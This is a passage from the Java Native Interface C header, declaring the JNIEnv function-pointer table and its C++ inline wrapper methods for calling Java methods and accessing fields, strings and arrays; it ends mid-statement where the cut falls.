jchar (JNICALL *CallNonvirtualCharMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jshort (JNICALL *CallNonvirtualShortMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jshort (JNICALL *CallNonvirtualShortMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jshort (JNICALL *CallNonvirtualShortMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jint (JNICALL *CallNonvirtualIntMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jint (JNICALL *CallNonvirtualIntMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jint (JNICALL *CallNonvirtualIntMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jlong (JNICALL *CallNonvirtualLongMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jlong (JNICALL *CallNonvirtualLongMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jlong (JNICALL *CallNonvirtualLongMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jfloat (JNICALL *CallNonvirtualFloatMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jfloat (JNICALL *CallNonvirtualFloatMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jfloat (JNICALL *CallNonvirtualFloatMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    jdouble (JNICALL *CallNonvirtualDoubleMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    jdouble (JNICALL *CallNonvirtualDoubleMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    jdouble (JNICALL *CallNonvirtualDoubleMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue *args);\n\n    void (JNICALL *CallNonvirtualVoidMethod)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID, ...);\n    void (JNICALL *CallNonvirtualVoidMethodV)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       va_list args);\n    void (JNICALL *CallNonvirtualVoidMethodA)\n      (JNIEnv *env, jobject obj, jclass clazz, jmethodID methodID,\n       const jvalue * args);\n\n    jfieldID (JNICALL *GetFieldID)\n      (JNIEnv *env, jclass clazz, const char *name, const char *sig);\n\n    jobject (JNICALL *GetObjectField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jboolean (JNICALL *GetBooleanField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jbyte (JNICALL *GetByteField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jchar (JNICALL *GetCharField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jshort (JNICALL *GetShortField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jint (JNICALL *GetIntField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jlong (JNICALL *GetLongField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jfloat (JNICALL *GetFloatField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n    jdouble (JNICALL *GetDoubleField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID);\n\n    void (JNICALL *SetObjectField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jobject val);\n    void (JNICALL *SetBooleanField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jboolean val);\n    void (JNICALL *SetByteField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jbyte val);\n    void (JNICALL *SetCharField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jchar val);\n    void (JNICALL *SetShortField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jshort val);\n    void (JNICALL *SetIntField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jint val);\n    void (JNICALL *SetLongField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jlong val);\n    void (JNICALL *SetFloatField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jfloat val);\n    void (JNICALL *SetDoubleField)\n      (JNIEnv *env, jobject obj, jfieldID fieldID, jdouble val);\n\n    jmethodID (JNICALL *GetStaticMethodID)\n      (JNIEnv *env, jclass clazz, const char *name, const char *sig);\n\n    jobject (JNICALL *CallStaticObjectMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jobject (JNICALL *CallStaticObjectMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jobject (JNICALL *CallStaticObjectMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jboolean (JNICALL *CallStaticBooleanMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jboolean (JNICALL *CallStaticBooleanMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jboolean (JNICALL *CallStaticBooleanMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jbyte (JNICALL *CallStaticByteMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jbyte (JNICALL *CallStaticByteMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jbyte (JNICALL *CallStaticByteMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jchar (JNICALL *CallStaticCharMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jchar (JNICALL *CallStaticCharMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jchar (JNICALL *CallStaticCharMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jshort (JNICALL *CallStaticShortMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jshort (JNICALL *CallStaticShortMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jshort (JNICALL *CallStaticShortMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jint (JNICALL *CallStaticIntMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jint (JNICALL *CallStaticIntMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jint (JNICALL *CallStaticIntMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jlong (JNICALL *CallStaticLongMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jlong (JNICALL *CallStaticLongMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jlong (JNICALL *CallStaticLongMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jfloat (JNICALL *CallStaticFloatMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jfloat (JNICALL *CallStaticFloatMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jfloat (JNICALL *CallStaticFloatMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    jdouble (JNICALL *CallStaticDoubleMethod)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, ...);\n    jdouble (JNICALL *CallStaticDoubleMethodV)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, va_list args);\n    jdouble (JNICALL *CallStaticDoubleMethodA)\n      (JNIEnv *env, jclass clazz, jmethodID methodID, const jvalue *args);\n\n    void (JNICALL *CallStaticVoidMethod)\n      (JNIEnv *env, jclass cls, jmethodID methodID, ...);\n    void (JNICALL *CallStaticVoidMethodV)\n      (JNIEnv *env, jclass cls, jmethodID methodID, va_list args);\n    void (JNICALL *CallStaticVoidMethodA)\n      (JNIEnv *env, jclass cls, jmethodID methodID, const jvalue * args);\n\n    jfieldID (JNICALL *GetStaticFieldID)\n      (JNIEnv *env, jclass clazz, const char *name, const char *sig);\n    jobject (JNICALL *GetStaticObjectField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jboolean (JNICALL *GetStaticBooleanField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jbyte (JNICALL *GetStaticByteField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jchar (JNICALL *GetStaticCharField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jshort (JNICALL *GetStaticShortField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jint (JNICALL *GetStaticIntField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jlong (JNICALL *GetStaticLongField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jfloat (JNICALL *GetStaticFloatField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n    jdouble (JNICALL *GetStaticDoubleField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID);\n\n    void (JNICALL *SetStaticObjectField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jobject value);\n    void (JNICALL *SetStaticBooleanField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jboolean value);\n    void (JNICALL *SetStaticByteField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jbyte value);\n    void (JNICALL *SetStaticCharField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jchar value);\n    void (JNICALL *SetStaticShortField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jshort value);\n    void (JNICALL *SetStaticIntField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jint value);\n    void (JNICALL *SetStaticLongField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jlong value);\n    void (JNICALL *SetStaticFloatField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jfloat value);\n    void (JNICALL *SetStaticDoubleField)\n      (JNIEnv *env, jclass clazz, jfieldID fieldID, jdouble value);\n\n    jstring (JNICALL *NewString)\n      (JNIEnv *env, const jchar *unicode, jsize len);\n    jsize (JNICALL *GetStringLength)\n      (JNIEnv *env, jstring str);\n    const jchar *(JNICALL *GetStringChars)\n      (JNIEnv *env, jstring str, jboolean *isCopy);\n    void (JNICALL *ReleaseStringChars)\n      (JNIEnv *env, jstring str, const jchar *chars);\n\n    jstring (JNICALL *NewStringUTF)\n      (JNIEnv *env, const char *utf);\n    jsize (JNICALL *GetStringUTFLength)\n      (JNIEnv *env, jstring str);\n    const char* (JNICALL *GetStringUTFChars)\n      (JNIEnv *env, jstring str, jboolean *isCopy);\n    void (JNICALL *ReleaseStringUTFChars)\n      (JNIEnv *env, jstring str, const char* chars);\n\n\n    jsize (JNICALL *GetArrayLength)\n      (JNIEnv *env, jarray array);\n\n    jobjectArray (JNICALL *NewObjectArray)\n      (JNIEnv *env, jsize len, jclass clazz, jobject init);\n    jobject (JNICALL *GetObjectArrayElement)\n      (JNIEnv *env, jobjectArray array, jsize index);\n    void (JNICALL *SetObjectArrayElement)\n      (JNIEnv *env, jobjectArray array, jsize index, jobject val);\n\n    jbooleanArray (JNICALL *NewBooleanArray)\n      (JNIEnv *env, jsize len);\n    jbyteArray (JNICALL *NewByteArray)\n      (JNIEnv *env, jsize len);\n    jcharArray (JNICALL *NewCharArray)\n      (JNIEnv *env, jsize len);\n    jshortArray (JNICALL *NewShortArray)\n      (JNIEnv *env, jsize len);\n    jintArray (JNICALL *NewIntArray)\n      (JNIEnv *env, jsize len);\n    jlongArray (JNICALL *NewLongArray)\n      (JNIEnv *env, jsize len);\n    jfloatArray (JNICALL *NewFloatArray)\n      (JNIEnv *env, jsize len);\n    jdoubleArray (JNICALL *NewDoubleArray)\n      (JNIEnv *env, jsize len);\n\n    jboolean * (JNICALL *GetBooleanArrayElements)\n      (JNIEnv *env, jbooleanArray array, jboolean *isCopy);\n    jbyte * (JNICALL *GetByteArrayElements)\n      (JNIEnv *env, jbyteArray array, jboolean *isCopy);\n    jchar * (JNICALL *GetCharArrayElements)\n      (JNIEnv *env, jcharArray array, jboolean *isCopy);\n    jshort * (JNICALL *GetShortArrayElements)\n      (JNIEnv *env, jshortArray array, jboolean *isCopy);\n    jint * (JNICALL *GetIntArrayElements)\n      (JNIEnv *env, jintArray array, jboolean *isCopy);\n    jlong * (JNICALL *GetLongArrayElements)\n      (JNIEnv *env, jlongArray array, jboolean *isCopy);\n    jfloat * (JNICALL *GetFloatArrayElements)\n      (JNIEnv *env, jfloatArray array, jboolean *isCopy);\n    jdouble * (JNICALL *GetDoubleArrayElements)\n      (JNIEnv *env, jdoubleArray array, jboolean *isCopy);\n\n    void (JNICALL *ReleaseBooleanArrayElements)\n      (JNIEnv *env, jbooleanArray array, jboolean *elems, jint mode);\n    void (JNICALL *ReleaseByteArrayElements)\n      (JNIEnv *env, jbyteArray array, jbyte *elems, jint mode);\n    void (JNICALL *ReleaseCharArrayElements)\n      (JNIEnv *env, jcharArray array, jchar *elems, jint mode);\n    void (JNICALL *ReleaseShortArrayElements)\n      (JNIEnv *env, jshortArray array, jshort *elems, jint mode);\n    void (JNICALL *ReleaseIntArrayElements)\n      (JNIEnv *env, jintArray array, jint *elems, jint mode);\n    void (JNICALL *ReleaseLongArrayElements)\n      (JNIEnv *env, jlongArray array, jlong *elems, jint mode);\n    void (JNICALL *ReleaseFloatArrayElements)\n      (JNIEnv *env, jfloatArray array, jfloat *elems, jint mode);\n    void (JNICALL *ReleaseDoubleArrayElements)\n      (JNIEnv *env, jdoubleArray array, jdouble *elems, jint mode);\n\n    void (JNICALL *GetBooleanArrayRegion)\n      (JNIEnv *env, jbooleanArray array, jsize start, jsize l, jboolean *buf);\n    void (JNICALL *GetByteArrayRegion)\n      (JNIEnv *env, jbyteArray array, jsize start, jsize len, jbyte *buf);\n    void (JNICALL *GetCharArrayRegion)\n      (JNIEnv *env, jcharArray array, jsize start, jsize len, jchar *buf);\n    void (JNICALL *GetShortArrayRegion)\n      (JNIEnv *env, jshortArray array, jsize start, jsize len, jshort *buf);\n    void (JNICALL *GetIntArrayRegion)\n      (JNIEnv *env, jintArray array, jsize start, jsize len, jint *buf);\n    void (JNICALL *GetLongArrayRegion)\n      (JNIEnv *env, jlongArray array, jsize start, jsize len, jlong *buf);\n    void (JNICALL *GetFloatArrayRegion)\n      (JNIEnv *env, jfloatArray array, jsize start, jsize len, jfloat *buf);\n    void (JNICALL *GetDoubleArrayRegion)\n      (JNIEnv *env, jdoubleArray array, jsize start, jsize len, jdouble *buf);\n\n    void (JNICALL *SetBooleanArrayRegion)\n      (JNIEnv *env, jbooleanArray array, jsize start, jsize l, const jboolean *buf);\n    void (JNICALL *SetByteArrayRegion)\n      (JNIEnv *env, jbyteArray array, jsize start, jsize len, const jbyte *buf);\n    void (JNICALL *SetCharArrayRegion)\n      (JNIEnv *env, jcharArray array, jsize start, jsize len, const jchar *buf);\n    void (JNICALL *SetShortArrayRegion)\n      (JNIEnv *env, jshortArray array, jsize start, jsize len, const jshort *buf);\n    void (JNICALL *SetIntArrayRegion)\n      (JNIEnv *env, jintArray array, jsize start, jsize len, const jint *buf);\n    void (JNICALL *SetLongArrayRegion)\n      (JNIEnv *env, jlongArray array, jsize start, jsize len, const jlong *buf);\n    void (JNICALL *SetFloatArrayRegion)\n      (JNIEnv *env, jfloatArray array, jsize start, jsize len, const jfloat *buf);\n    void (JNICALL *SetDoubleArrayRegion)\n      (JNIEnv *env, jdoubleArray array, jsize start, jsize len, const jdouble *buf);\n\n    jint (JNICALL *RegisterNatives)\n      (JNIEnv *env, jclass clazz, const JNINativeMethod *methods,\n       jint nMethods);\n    jint (JNICALL *UnregisterNatives)\n      (JNIEnv *env, jclass clazz);\n\n    jint (JNICALL *MonitorEnter)\n      (JNIEnv *env, jobject obj);\n    jint (JNICALL *MonitorExit)\n      (JNIEnv *env, jobject obj);\n\n    jint (JNICALL *GetJavaVM)\n      (JNIEnv *env, JavaVM **vm);\n\n    void (JNICALL *GetStringRegion)\n      (JNIEnv *env, jstring str, jsize start, jsize len, jchar *buf);\n    void (JNICALL *GetStringUTFRegion)\n      (JNIEnv *env, jstring str, jsize start, jsize len, char *buf);\n\n    void * (JNICALL *GetPrimitiveArrayCritical)\n      (JNIEnv *env, jarray array, jboolean *isCopy);\n    void (JNICALL *ReleasePrimitiveArrayCritical)\n      (JNIEnv *env, jarray array, void *carray, jint mode);\n\n    const jchar * (JNICALL *GetStringCritical)\n      (JNIEnv *env, jstring string, jboolean *isCopy);\n    void (JNICALL *ReleaseStringCritical)\n      (JNIEnv *env, jstring string, const jchar *cstring);\n\n    jweak (JNICALL *NewWeakGlobalRef)\n       (JNIEnv *env, jobject obj);\n    void (JNICALL *DeleteWeakGlobalRef)\n       (JNIEnv *env, jweak ref);\n\n    jboolean (JNICALL *ExceptionCheck)\n       (JNIEnv *env);\n\n    jobject (JNICALL *NewDirectByteBuffer)\n       (JNIEnv* env, void* address, jlong capacity);\n    void* (JNICALL *GetDirectBufferAddress)\n       (JNIEnv* env, jobject buf);\n    jlong (JNICALL *GetDirectBufferCapacity)\n       (JNIEnv* env, jobject buf);\n\n    /* New JNI 1.6 Features */\n\n    jobjectRefType (JNICALL *GetObjectRefType)\n        (JNIEnv* env, jobject obj);\n};\n\n/*\n * We use inlined functions for C++ so that programmers can write:\n *\n *    env->FindClass(\"java/lang/String\")\n *\n * in C++ rather than:\n *\n *    (*env)->FindClass(env, \"java/lang/String\")\n *\n * in C.\n */\n\nstruct JNIEnv_ {\n    const struct JNINativeInterface_ *functions;\n#ifdef __cplusplus\n\n    jint GetVersion() {\n        return functions->GetVersion(this);\n    }\n    jclass DefineClass(const char *name, jobject loader, const jbyte *buf,\n                       jsize len) {\n        return functions->DefineClass(this, name, loader, buf, len);\n    }\n    jclass FindClass(const char *name) {\n        return functions->FindClass(this, name);\n    }\n    jmethodID FromReflectedMethod(jobject method) {\n        return functions->FromReflectedMethod(this,method);\n    }\n    jfieldID FromReflectedField(jobject field) {\n        return functions->FromReflectedField(this,field);\n    }\n\n    jobject ToReflectedMethod(jclass cls, jmethodID methodID, jboolean isStatic) {\n        return functions->ToReflectedMethod(this, cls, methodID, isStatic);\n    }\n\n    jclass GetSuperclass(jclass sub) {\n        return functions->GetSuperclass(this, sub);\n    }\n    jboolean IsAssignableFrom(jclass sub, jclass sup) {\n        return functions->IsAssignableFrom(this, sub, sup);\n    }\n\n    jobject ToReflectedField(jclass cls, jfieldID fieldID, jboolean isStatic) {\n        return functions->ToReflectedField(this,cls,fieldID,isStatic);\n    }\n\n    jint Throw(jthrowable obj) {\n        return functions->Throw(this, obj);\n    }\n    jint ThrowNew(jclass clazz, const char *msg) {\n        return functions->ThrowNew(this, clazz, msg);\n    }\n    jthrowable ExceptionOccurred() {\n        return functions->ExceptionOccurred(this);\n    }\n    void ExceptionDescribe() {\n        functions->ExceptionDescribe(this);\n    }\n    void ExceptionClear() {\n        functions->ExceptionClear(this);\n    }\n    void FatalError(const char *msg) {\n        functions->FatalError(this, msg);\n    }\n\n    jint PushLocalFrame(jint capacity) {\n        return functions->PushLocalFrame(this,capacity);\n    }\n    jobject PopLocalFrame(jobject result) {\n        return functions->PopLocalFrame(this,result);\n    }\n\n    jobject NewGlobalRef(jobject lobj) {\n        return functions->NewGlobalRef(this,lobj);\n    }\n    void DeleteGlobalRef(jobject gref) {\n        functions->DeleteGlobalRef(this,gref);\n    }\n    void DeleteLocalRef(jobject obj) {\n        functions->DeleteLocalRef(this, obj);\n    }\n\n    jboolean IsSameObject(jobject obj1, jobject obj2) {\n        return functions->IsSameObject(this,obj1,obj2);\n    }\n\n    jobject NewLocalRef(jobject ref) {\n        return functions->NewLocalRef(this,ref);\n    }\n    jint EnsureLocalCapacity(jint capacity) {\n        return functions->EnsureLocalCapacity(this,capacity);\n    }\n\n    jobject AllocObject(jclass clazz) {\n        return functions->AllocObject(this,clazz);\n    }\n    jobject NewObject(jclass clazz, jmethodID methodID, ...) {\n        va_list args;\n        jobject result;\n        va_start(args, methodID);\n        result = functions->NewObjectV(this,clazz,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jobject NewObjectV(jclass clazz, jmethodID methodID,\n                       va_list args) {\n        return functions->NewObjectV(this,clazz,methodID,args);\n    }\n    jobject NewObjectA(jclass clazz, jmethodID methodID,\n                       const jvalue *args) {\n        return functions->NewObjectA(this,clazz,methodID,args);\n    }\n\n    jclass GetObjectClass(jobject obj) {\n        return functions->GetObjectClass(this,obj);\n    }\n    jboolean IsInstanceOf(jobject obj, jclass clazz) {\n        return functions->IsInstanceOf(this,obj,clazz);\n    }\n\n    jmethodID GetMethodID(jclass clazz, const char *name,\n                          const char *sig) {\n        return functions->GetMethodID(this,clazz,name,sig);\n    }\n\n    jobject CallObjectMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jobject result;\n        va_start(args,methodID);\n        result = functions->CallObjectMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jobject CallObjectMethodV(jobject obj, jmethodID methodID,\n                        va_list args) {\n        return functions->CallObjectMethodV(this,obj,methodID,args);\n    }\n    jobject CallObjectMethodA(jobject obj, jmethodID methodID,\n                        const jvalue * args) {\n        return functions->CallObjectMethodA(this,obj,methodID,args);\n    }\n\n    jboolean CallBooleanMethod(jobject obj,\n                               jmethodID methodID, ...) {\n        va_list args;\n        jboolean result;\n        va_start(args,methodID);\n        result = functions->CallBooleanMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jboolean CallBooleanMethodV(jobject obj, jmethodID methodID,\n                                va_list args) {\n        return functions->CallBooleanMethodV(this,obj,methodID,args);\n    }\n    jboolean CallBooleanMethodA(jobject obj, jmethodID methodID,\n                                const jvalue * args) {\n        return functions->CallBooleanMethodA(this,obj,methodID, args);\n    }\n\n    jbyte CallByteMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jbyte result;\n        va_start(args,methodID);\n        result = functions->CallByteMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jbyte CallByteMethodV(jobject obj, jmethodID methodID,\n                          va_list args) {\n        return functions->CallByteMethodV(this,obj,methodID,args);\n    }\n    jbyte CallByteMethodA(jobject obj, jmethodID methodID,\n                          const jvalue * args) {\n        return functions->CallByteMethodA(this,obj,methodID,args);\n    }\n\n    jchar CallCharMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jchar result;\n        va_start(args,methodID);\n        result = functions->CallCharMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jchar CallCharMethodV(jobject obj, jmethodID methodID,\n                          va_list args) {\n        return functions->CallCharMethodV(this,obj,methodID,args);\n    }\n    jchar CallCharMethodA(jobject obj, jmethodID methodID,\n                          const jvalue * args) {\n        return functions->CallCharMethodA(this,obj,methodID,args);\n    }\n\n    jshort CallShortMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jshort result;\n        va_start(args,methodID);\n        result = functions->CallShortMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jshort CallShortMethodV(jobject obj, jmethodID methodID,\n                            va_list args) {\n        return functions->CallShortMethodV(this,obj,methodID,args);\n    }\n    jshort CallShortMethodA(jobject obj, jmethodID methodID,\n                            const jvalue * args) {\n        return functions->CallShortMethodA(this,obj,methodID,args);\n    }\n\n    jint CallIntMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jint result;\n        va_start(args,methodID);\n        result = functions->CallIntMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jint CallIntMethodV(jobject obj, jmethodID methodID,\n                        va_list args) {\n        return functions->CallIntMethodV(this,obj,methodID,args);\n    }\n    jint CallIntMethodA(jobject obj, jmethodID methodID,\n                        const jvalue * args) {\n        return functions->CallIntMethodA(this,obj,methodID,args);\n    }\n\n    jlong CallLongMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jlong result;\n        va_start(args,methodID);\n        result = functions->CallLongMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jlong CallLongMethodV(jobject obj, jmethodID methodID,\n                          va_list args) {\n        return functions->CallLongMethodV(this,obj,methodID,args);\n    }\n    jlong CallLongMethodA(jobject obj, jmethodID methodID,\n                          const jvalue * args) {\n        return functions->CallLongMethodA(this,obj,methodID,args);\n    }\n\n    jfloat CallFloatMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jfloat result;\n        va_start(args,methodID);\n        result = functions->CallFloatMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jfloat CallFloatMethodV(jobject obj, jmethodID methodID,\n                            va_list args) {\n        return functions->CallFloatMethodV(this,obj,methodID,args);\n    }\n    jfloat CallFloatMethodA(jobject obj, jmethodID methodID,\n                            const jvalue * args) {\n        return functions->CallFloatMethodA(this,obj,methodID,args);\n    }\n\n    jdouble CallDoubleMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        jdouble result;\n        va_start(args,methodID);\n        result = functions->CallDoubleMethodV(this,obj,methodID,args);\n        va_end(args);\n        return result;\n    }\n    jdouble CallDoubleMethodV(jobject obj, jmethodID methodID,\n                        va_list args) {\n        return functions->CallDoubleMethodV(this,obj,methodID,args);\n    }\n    jdouble CallDoubleMethodA(jobject obj, jmethodID methodID,\n                        const jvalue * args) {\n        return functions->CallDoubleMethodA(this,obj,methodID,args);\n    }\n\n    void CallVoidMethod(jobject obj, jmethodID methodID, ...) {\n        va_list args;\n        va_start(args,methodID);\n        functions->CallVoidMethodV(this,obj,methodID,args);\n        va_end(args);\n    }\n    void CallVoidMethodV(jobject obj, jmethodID methodID,\n                         va_list args) {\n        functions->CallVoidMethodV(this,obj,methodID,args);\n    }\n    void CallVoidMethodA(jobject obj, jmethodID methodID,\n                         const jvalue * args) {\n        functions->CallVoidMethodA(this,obj,methodID,args);\n    }\n\n    jobject CallNonvirtualObjectMethod(jobject obj, jclass clazz,\n                                       jmethodID methodID, ...) {\n        va_list args;\n        jobject result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualObjectMethodV(this,obj,clazz,\n                                                        methodID,args);\n        va_end(args);\n        return result;\n    }\n    jobject CallNonvirtualObjectMethodV(jobject obj, jclass clazz,\n                                        jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualObjectMethodV(this,obj,clazz,\n                                                      methodID,args);\n    }\n    jobject CallNonvirtualObjectMethodA(jobject obj, jclass clazz,\n                                        jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualObjectMethodA(this,obj,clazz,\n                                                      methodID,args);\n    }\n\n    jboolean CallNonvirtualBooleanMethod(jobject obj, jclass clazz,\n                                         jmethodID methodID, ...) {\n        va_list args;\n        jboolean result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualBooleanMethodV(this,obj,clazz,\n                                                         methodID,args);\n        va_end(args);\n        return result;\n    }\n    jboolean CallNonvirtualBooleanMethodV(jobject obj, jclass clazz,\n                                          jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualBooleanMethodV(this,obj,clazz,\n                                                       methodID,args);\n    }\n    jboolean CallNonvirtualBooleanMethodA(jobject obj, jclass clazz,\n                                          jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualBooleanMethodA(this,obj,clazz,\n                                                       methodID, args);\n    }\n\n    jbyte CallNonvirtualByteMethod(jobject obj, jclass clazz,\n                                   jmethodID methodID, ...) {\n        va_list args;\n        jbyte result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualByteMethodV(this,obj,clazz,\n                                                      methodID,args);\n        va_end(args);\n        return result;\n    }\n    jbyte CallNonvirtualByteMethodV(jobject obj, jclass clazz,\n                                    jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualByteMethodV(this,obj,clazz,\n                                                    methodID,args);\n    }\n    jbyte CallNonvirtualByteMethodA(jobject obj, jclass clazz,\n                                    jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualByteMethodA(this,obj,clazz,\n                                                    methodID,args);\n    }\n\n    jchar CallNonvirtualCharMethod(jobject obj, jclass clazz,\n                                   jmethodID methodID, ...) {\n        va_list args;\n        jchar result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualCharMethodV(this,obj,clazz,\n                                                      methodID,args);\n        va_end(args);\n        return result;\n    }\n    jchar CallNonvirtualCharMethodV(jobject obj, jclass clazz,\n                                    jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualCharMethodV(this,obj,clazz,\n                                                    methodID,args);\n    }\n    jchar CallNonvirtualCharMethodA(jobject obj, jclass clazz,\n                                    jmethodID methodID, const jvalue * args) {\n        return functions->CallNonvirtualCharMethodA(this,obj,clazz,\n                                                    methodID,args);\n    }\n\n    jshort CallNonvirtualShortMethod(jobject obj, jclass clazz,\n                                     jmethodID methodID, ...) {\n        va_list args;\n        jshort result;\n        va_start(args,methodID);\n        result = functions->CallNonvirtualShortMethodV(this,obj,clazz,\n                                                       methodID,args);\n        va_end(args);\n        return result;\n    }\n    jshort CallNonvirtualShortMethodV(jobject obj, jclass clazz,\n                                      jmethodID methodID, va_list args) {\n        return functions->CallNonvirtualShortMethodV(this,obj,clazz,\n                                                     methodID,args);\n    }\n    jshort CallNonvirtualShortMethodA(jobject obj, jclass clazz,\n                                      jmethodID methodID, const jvalue * args) {\n        return 